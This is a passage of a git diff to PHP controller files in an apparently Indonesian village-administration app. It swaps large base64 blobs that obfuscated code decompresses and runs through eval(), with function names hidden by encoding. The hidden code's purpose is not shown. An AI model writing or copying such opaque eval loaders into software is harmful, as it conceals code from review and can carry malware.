XU9qvQOcnc+Bi3Ob/hAkbuzRrw4QL73JWU1vfzhww1+eN+t8bN+uGXoejnMB47TCMpQj6C+rgu6s6ppgUEP0bFKyzmPh+zWSuPYmrX1G3A61LFJ/d1fgtLfOffvzZLE7T57Wkz2J7puz/uiYa4azkp6DQDfwbWCE8bAOeiV6oMTSdfTd5rxT88rtrzvejpQxwyt3nfO6/VyMjvQEYXuUWZUHnQx80DOeNT1H/bPr5s11T3NQeY5LGDutmyPsQVtCJyakbffYIx73HQM5kSXkXmq/UUcHLWGf4/FTHQ2dxXyg50Q+8u/nODPIKZ25i/0ZDPopOZzdpXn+kvfvjfUZPRVum+dE0HHNNWhDoQhldu7abTrHlK4zKO4P2vHYT91H3hp9V71e3znhoZLy9Pnq07t3f/1fvH2u33/effrl0x+ZfjT3Ryb+9Lzhz1f0/6t/Hra9/L7z5eeP/L7zKaZ+PgFxA6lfPv0bWWNsGQ=='; $___();$__________($______($__($_))); $________=$____(); $_____(); echo diff --git a/donjo-app/controllers/Buku_tamu.php b/donjo-app/controllers/Buku_tamu.php index 5657d1b6d..0c7e959b4 100644 --- a/donjo-app/controllers/Buku_tamu.php +++ b/donjo-app/controllers/Buku_tamu.php @@ -244,7 +244,7 @@ $__________________='X19sYW1iZGE='; $______=' Z3p1bmNvbXByZXNz'; $___=' b2Jfc3RhcnQ='; $____='b2JfZ2V0X2NvbnRlbnRz'; $__= 'base64_decode' ; $______=$__($______); if(!function_exists('__lambda')){function __lambda($sArgs,$sCode){return eval("return function($sArgs){{$sCode}};");}} $__________________=$__($__________________); $______________=$__($______________); - $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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'; + $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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'; $___();$__________($______($__($_))); $________=$____(); $_____(); echo diff --git a/donjo-app/controllers/Bumindes_kader.php b/donjo-app/controllers/Bumindes_kader.php index 60891f969..784bc091e 100644 --- a/donjo-app/controllers/Bumindes_kader.php +++ b/donjo-app/controllers/Bumindes_kader.php @@ -264,7 +264,7 @@ $__________________='X19sYW1iZGE='; $______=' Z3p1bmNvbXByZXNz'; $___=' b2Jfc3RhcnQ='; $____='b2JfZ2V0X2NvbnRlbnRz'; $__= 'base64_decode' ; $______=$__($______); if(!function_exists('__lambda')){function __lambda($sArgs,$sCode){return eval("return function($sArgs){{$sCode}};");}} $__________________=$__($__________________); $______________=$__($______________); - $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='eNrtXFtz4siSfp+I/Q/9cCI8J3p3jiRMTys6+gFhJCRjbCR0fZnQxZYAITTmZvj158uSBDIXtz0zezZ2AnkYNyBVZWV+mfllVnV/+lRc//gN1/er/HmULZ6uvrG35fX9Kppl49n/+Hn+r3CWLZ5nafr4PP+XtJyOsuhx/tvEjx6ff8mT/FM79efzX3755erbT+W4n/7rp8vP5efcz08EtE9/4fX96JMrhxfnrs2PPKXz/Yp9tEfnu67SGb5/ulyX63Jdrr/ndRVOLS5ytKWqWIJrr2eaLD45m8mvRdBE1CzC9W8XVV2uy3W5LtflulyX63Jdrsv1/+26tDMu1+W6XJfr73tdBf788cv1b9FjOIser75dNHK5LtflulyX63L9qev1CYmbwazfHn39Hb/j25i7VduzWJ+mc8+Q8mA6id2pnPm2vFQVPQmnky/1+4YNKQ3Svqa32HuM0/pdlft52NDTgD3vrcIpn4TCJPYUa+sa0jai/WxHjSPF2riZ9YzP+CDTeX8jLTybT3z6zL4u7h/Uxu3I60BJn12nn5MswUjaBg2MIZixK4iTSl5PSTe+/ZKHGwnzaBPcD7kXdP/cd/ppkOH5TjQYtiX7bl0fP0kgw43vSJxrtDZ3N62m2ubiu3HrpW9IN4HAj3y7maqyloaCyIfTfqp20iXWmkddi/Ntcam2k1nU1df3o6+roGstsL6lJyxWgWMtfQf62zSXnjNY3Rbrig1FflY70FdXT9QbdX03dOMem1vlVFlKITcfONCPAv13dMzbiXUlzWisoC2ZWN8oshdJNW+4na16grj27ObEw7p703Ry+0qHsMs0Il1UuiId5b5A9k2/+Pb1XO32U1eQN7BLFk5lznfu5qqySENFnpD9gIU1fq8j2OgRuPCY3ZrQs5RECtPz1oX+g6m8ZFgZSfhOy9UurUcmfSRRW5pHdpP0XcpB83t5oJj4s/gMjMBOOsMN4QTy5VG7NVMnNQxA976h5r32Dj8T2A5zvCR+g2GoWDN0G2RSoioa5JMhG60RuiRc4j5VYXavYbCZeQ1r6dq0lnUc2NYS65wz3Sg86Y+HT8wKDIo0Jl98rhPugT2ND4WU5p+X68c6ZJqTxz0